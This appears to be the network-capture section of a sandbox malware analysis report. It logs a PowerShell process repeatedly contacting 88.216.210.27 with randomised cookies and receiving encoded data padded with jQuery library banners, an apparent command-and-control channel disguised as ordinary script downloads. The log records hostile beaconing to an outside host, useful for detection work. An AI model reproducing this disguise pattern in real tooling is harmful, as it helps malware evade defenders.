Apr 9, 2023 02:59:15.228598118 CEST	429	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=EGSxv0un0fiakx6-KbJf3-oYMtR9I_HlhysYcr9IKLgzU8bPAv83qOhuzGWsmVHQ-A20shNIbIHTHbbiBsid5La6fVp62aQBmn7t50wzLtmEeLfkIMIdylIcT1o4FPeV1OIyNFjK2eSinpVLHYh1ZIPqMLnCdMpp0HzAk122sAYlUKkS User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:15.381726980 CEST	429	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:15 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:15.381757021 CEST	431	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:15.381782055 CEST	432	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	49769	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:15.645201921 CEST	433	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=ThGZmxXS-dzE5jaad8d3-7RtGvAjVtnB2V4wVuE9AJxtJu7rXIofjLYb5EHy7Hn0pniclk09RKWNaJ7GWL21wOjPVX4krIwlxAvFwxJGBv3aDZ_Afrc17gxpZ35mYd-xipcaEAa_8cD8671vQ_1dQN2fGJ2cAeJNjgnotwPDmCJ7JYE2 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:15.793869019 CEST	433	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:15 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:15.793936014 CEST	434	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:15.793962002 CEST	435	IN	Data Raw: 4f 50 4e 44 4b 50 4a 47 47 50 4d 4a 48 4d 4d 4d 4e 4b 46 45 50 4b 4f 4b 41 49 4c 41 49 4e 4d 48 48 4d 50 48 4f 48 41 4f 50 4c 44 48 46 4a 49 42 43 45 41 4f 45 44 46 4d 49 4e 48 4a 43 4f 46 4b 4d 4b 45 44 4c 4b 46 42 4d 4c 49 46 4a 45 47 41 42 50 Data Ascii: OPNDKPJGGPMJHMMMNKFEPKOKAILAINMHHMPHOHAOPLDHFJIBCEAOEDFMINHJCOFKMKEDLKFBMLIFJEGABPOLKFBGLAPDIDILFPOLFEGDOCIHIPGGCAPKNJKPILDAOLMLMDAEPDOKGJIALNMLBGLCGNBKNDPPDODKPENBMLLEDKEDILEEDLHMMHOJFAPLBEBGNAKCGHCIINKKBGIEFNPJLJLHGLEFEDFOEDKPNOFNAAGHIKDIMMK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49770	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:16.081540108 CEST	436	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=nGtq58eoCqAWnMXmpb2Eh2YX6YzxLCq9CyTDKjNH8-C_XB2XjvDs8GRhFz0gloqIdAJv6p9Ht9lfEm26isdGvDq1pgL21n9ZFnE2v8A89YEId2y8rM3Gkt4TlAK0GyzNWO3pbNTFArwukU4TkYeuPA_l6-FOexExXHMby9G5a16pX3JK User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:16.230441093 CEST	437	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:16 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:16.230477095 CEST	438	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:16.230499983 CEST	439	IN	Data Raw: 47 4d 49 42 4b 4d 4e 44 4e 48 49 49 44 47 4d 44 41 49 41 46 49 46 4c 42 4a 4c 50 47 4b 43 4b 48 4f 4c 49 45 4d 41 4f 4d 4d 44 41 41 41 43 4a 4a 46 44 41 4b 4c 48 4b 44 50 50 4e 44 50 4f 49 44 4f 46 43 4e 42 44 4d 4f 47 4a 4c 4d 42 44 4b 4d 50 43 Data Ascii: GMIBKMNDNHIIDGMDAIAFIFLBJLPGKCKHOLIEMAOMMDAAACJJFDAKLHKDPPNDPOIDOFCNBDMOGJLMBDKMPCGJBGNEKIMCCBJHPICKAMCCKKHGGCPAMDKHKKPKDPHNIPKLPOLHHGFEDIIMNOJCPFEKFMFMNEIJDCPLDAJFADEGEGKPIPMLCKDCBIJHAFIMOMGJMMPJHICKNBLDPMLEHNPIDPGMLONLCGJHMMCHHABJOODJAKJDOEI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	49771	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:16.496974945 CEST	440	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=8PsrRas4SwJ6DIREyS3FJQqHqC6dvGsfZ7SCiF_XskLTzFw14mCtUgjxVp9MBssqGJIuSPPX9nszgiwY5lcHHlYl56CaRj77euF3HaystCNk5y0ewF2HMLKD1aDYi21vNH2ozrhVQx5CAQ-x_RfvnmN1qkMi61CTMONaab0pKvzFzzPo User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:16.646001101 CEST	441	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:16 GMT Server: CloudFront Content-Length: 2292 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:16.646051884 CEST	442	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:16.646073103 CEST	443	IN	Data Raw: 49 4c 46 46 4b 4f 48 48 43 50 4a 49 4b 4b 41 41 4c 43 48 4e 48 4a 4d 41 42 4b 45 45 41 50 4c 41 4c 4f 4d 4e 50 41 4e 46 4a 41 43 4d 48 46 42 42 42 4e 4d 44 42 42 4e 42 4e 4d 48 42 44 46 4f 44 43 46 43 41 4a 4e 41 45 4c 44 45 48 48 48 47 4d 48 41 Data Ascii: ILFFKOHHCPJIKKAALCHNHJMABKEEAPLALOMNPANFJACMHFBBBNMDBBNBNMHBDFODCFCAJNAELDEHHHGMHAFLGEHOPNEGDEKI/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49772	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:16.946063995 CEST	444	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=ELy7Akt_20WaSxQDKWpVYurAOGl9-_tYh_MSz7-QIgUzi8xyAic9Fei2xtisQVtt-NW-DxOQZjzTxbxfBhCXWbZid-d6Aa68mqbnWkzrJGSEoL1ZIBoXd1LERec4zP0o1Do4iVgS01miRp_2HVB_2YMyOgTCrMDU0KTKLl1uursliKOv User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:17.120121956 CEST	445	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:17 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:17.120171070 CEST	446	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:17.120204926 CEST	447	IN	Data Raw: 46 50 4c 4c 42 49 4a 46 4c 4a 42 42 46 42 4e 50 4a 47 46 49 4f 4e 43 44 4c 4b 45 4b 43 49 50 45 4a 44 47 4f 49 42 50 4b 42 49 43 4f 45 4f 50 48 49 42 47 48 46 41 4b 4f 42 41 4f 50 50 46 4e 4b 43 50 4c 43 48 4d 46 47 49 4c 4b 4a 4f 43 4e 4c 43 4f Data Ascii: FPLLBIJFLJBBFBNPJGFIONCDLKEKCIPEJDGOIBPKBICOEOPHIBGHFAKOBAOPPFNKCPLCHMFGILKJOCNLCOJLJHIIMOLFDLKMEAONLDKPHMOBAIAJOBONICLFCEMIMHFJPBGHFMFJCJBINABCONJFPIJABCFFMPCGJIEBEFBNJPKNBDMLMGPOHBKPHCAAGCGAONLKLMOIIMPJHGNKPHCCLBJPADGAHBPE/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	49773	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:17.392951012 CEST	448	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Hs_lMEUMhXeUOEoxJxkLUOSzZltziKVqiYBM_bHjfDc9-JJADFRjJ-bFmOqiMgVf9qbgPR3jOA7dtuJtCGPJa7gRKdV0cvCOlNW5aEKYelaK0-NrLmlJRVy3G9U2v6Ma2klmu1ZhjWusNcHEEyMh641BZDbM357m3teUHFMd5Ikr-_2d User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:17.554784060 CEST	448	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:17 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:17.554826021 CEST	450	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:17.554861069 CEST	451	IN	Data Raw: 49 50 4a 4a 4e 45 47 45 4e 46 50 44 42 50 41 50 4c 42 41 48 44 43 4a 4a 44 4e 48 4a 43 48 4c 4f 47 42 42 4b 4a 49 45 48 45 49 46 46 46 4a 44 44 4e 4a 4c 4f 49 4b 46 4c 43 49 4d 4b 46 48 48 4f 4a 48 44 46 4e 44 4d 4f 43 41 48 43 48 4f 4c 4d 4e 46 Data Ascii: IPJJNEGENFPDBPAPLBAHDCJJDNHJCHLOGBBKJIEHEIFFFJDDNJLOIKFLCIMKFHHOJHDFNDMOCAHCHOLMNFIBNPIKMCJLIOEBFJBLMHBPJKBFJIFCLDGJAONGCBAMFONNLDGCMBOCLDFPDCKGNEPECHLFHJLDOHJF/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49693	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:42.482841015 CEST	139	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=tVdgOO6UAH8_oM85jIGOWE8r41PYECBiIhjJ9Rp7-T-WYBdIp8zmL01dHeIJqoBXXT5lNbZ7vQZ2Lmdlo_tMYxOJrN3f6nWGP008YOkA_14hS2ZjhfHMTfcvnt2dJyYScdHjs_35CGMHrUTMuLuk4ybZ4T5nRxvudU8RFPiFYYGAY3iV User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:42.631596088 CEST	140	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:42 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:42.631715059 CEST	141	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:42.631748915 CEST	142	IN	Data Raw: 4b 47 4f 4a 4e 4f 43 44 45 44 48 4e 45 45 48 41 42 4e 42 44 43 43 4e 4e 4f 48 47 47 47 43 4c 46 50 45 47 4a 42 41 48 47 49 41 46 4b 4b 47 4b 48 42 42 42 43 48 4c 47 47 4f 48 50 4e 43 4d 4c 4f 45 44 50 46 49 50 47 4b 43 49 4a 4e 50 4f 42 4b 4c 50 Data Ascii: KGOJNOCDEDHNEEHABNBDCCNNOHGGGCLFPEGJBAHGIAFKKGKHBBBCHLGGOHPNCMLOEDPFIPGKCIJNPOBKLPMGFEANCCANBNAONFAHNELDBFNAPAHGMOCGHFEPOCGNPNFFHOGOHOAOAFFJKNEEBBDJHPDPNHMKGHGC/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49774	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:17.812927961 CEST	452	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=qdcwO_IUUHwjIJ86kAHeW1Ors1DEkHBhPpiZ9gb7qTyK4EdLu0y2LFHdTeEVKtBUQb41Nqr77QVqrjdmv3scYA8J_N7DaiWFI81sY_WAr109yzZgmXGcTuuvzt6Bp3YRbVGzsOF5WGAbLRTPpDv04DpZsT17x0vtac9BF-QFMYKc4yiW User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:17.963953972 CEST	452	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:17 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:17.963982105 CEST	454	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:17.964004040 CEST	455	IN	Data Raw: 4f 4d 47 48 49 4e 4d 4a 4d 43 43 4a 43 4f 46 4d 43 4b 4b 43 4f 4a 41 4f 45 48 4c 4e 4c 4a 49 43 42 45 41 4c 4f 4f 4f 47 43 4b 41 4f 48 43 49 43 45 41 46 44 4e 46 4c 41 46 46 47 45 4c 4c 48 45 45 43 4f 4a 4e 47 46 48 4f 44 4c 4a 42 48 4c 43 41 48 Data Ascii: OMGHINMJMCCJCOFMCKKCOJAOEHLNLJICBEALOOOGCKAOHCICEAFDNFLAFFGELLHEECOJNGFHODLJBHLCAHLOBIIAJFGPADNKEAFDGFBFGMFGMFKJFLGAGLJHGOJOIPFFEKFMJJHBKECBPPBJFEEDMIMJCHBHADGL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	49775	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:18.219971895 CEST	456	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=ltlHts0aJ_EcLui3rw-p1mylxN37ngfsAZbuezn13rG17jDGhELBoW7TOmwqJKfZfrBCu5X1mohVoEDrgHVr7TAHi1P8ZFIIHMMb7sqO2NACxUHtpn_rw9ShuVO-qQGcUl_EPd53L-0kI2NCmzWDbQVXxrBEyTxgVsE2mtsLRg-j7V8b User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:18.368741989 CEST	456	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:18 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:18.368778944 CEST	457	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:18.368797064 CEST	459	IN	Data Raw: 4a 4c 48 4d 4b 50 42 4a 41 4a 46 44 4a 50 4e 43 4a 41 47 50 4b 46 4d 47 43 42 47 4c 50 4c 46 46 4c 4b 43 4f 4d 48 48 48 4f 4d 41 46 49 4f 50 4e 4d 4b 44 45 50 49 4d 50 4f 48 47 45 4b 4f 45 4f 4f 45 48 43 47 50 50 4d 4c 44 46 4d 4f 47 43 43 4a 49 Data Ascii: JLHMKPBJAJFDJPNCJAGPKFMGCBGLPLFFLKCOMHHHOMAFIOPNMKDEPIMPOHGEKOEOOEHCGPPMLDFMOGCCJIHFFGBBNBFGAPGNOHEGOOINNPILBFMDGNHCJKKPLMLADMCEIANGNKPFFNEKPLAMBBKFLJIGDJNBLHFLBCKDDHFFPLJEALMDOHFDFPMGOAGGJIHFBKOIPEKHKMGEAFDJIEGMIFCEKIEOEIDKOPOPLKPPBCLBPLAACFJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49776	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:18.628096104 CEST	460	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=TSjzeRbrkz7H31x4dP4dGbdUcBIgb7Mj2mdatOIEan5uH4QJX7N1brUijqPx1RMWpUH2dE4ELkeOUfQkW4TfIuv2P5wnlebHxzKvIRF_bB_ZNPUifY5fDA9QDZxlWLVTia5w8gWGmyL_0teNQMQ3ot6mcn-fOIivjTCCVQD68sB4HOvU User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:18.777210951 CEST	460	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:18 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:18.777260065 CEST	461	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:18.777296066 CEST	462	IN	Data Raw: 4f 4d 44 4c 4b 4a 46 4f 46 46 4f 44 45 4f 45 4a 45 46 42 49 46 47 47 4d 4f 41 4d 48 44 41 42 49 43 49 4d 44 43 4c 46 4d 4b 4c 4d 4b 4e 41 42 4f 43 50 4f 41 49 45 41 44 4e 48 46 49 4e 4f 4b 4d 48 4a 4b 47 47 44 44 45 48 47 46 46 43 45 44 4c 49 4d Data Ascii: OMDLKJFOFFODEOEJEFBIFGGMOAMHDABICIMDCLFMKLMKNABOCPOAIEADNHFINOKMHJKGGDDEHGFFCEDLIMANIKDGLHEAJGLGFBOGPLDKJDEOENIEAPGGJCCNLNJPMFHABOPPNFFIJAJKOANHKFIHBOOGCBOCDHHAKJHGAGIDAIOHMNNLINOAIKNGICJNKEPPLJIPIAFONOCAJKGAOELDJHDEKIJMKGNMLIPCGHEPJCJKHIOCOGM

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49777	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:19.029053926 CEST	464	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Gi27HkHu21mQ2hQfI_tVfuBROHV3avtEjWIS07UBIhk5GsxuCLY9CeInxsSm0Ftx8kS-ExkBZiDZVLxDDIGXRbzzd_twkK6gkDfnRkZ6JHiOMb1FKosXa1hVRfsyXf003qs4lVKD00Wo15_qF8F_xYmjOhjIPcDI2jXKMlf_uqcvGaOz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
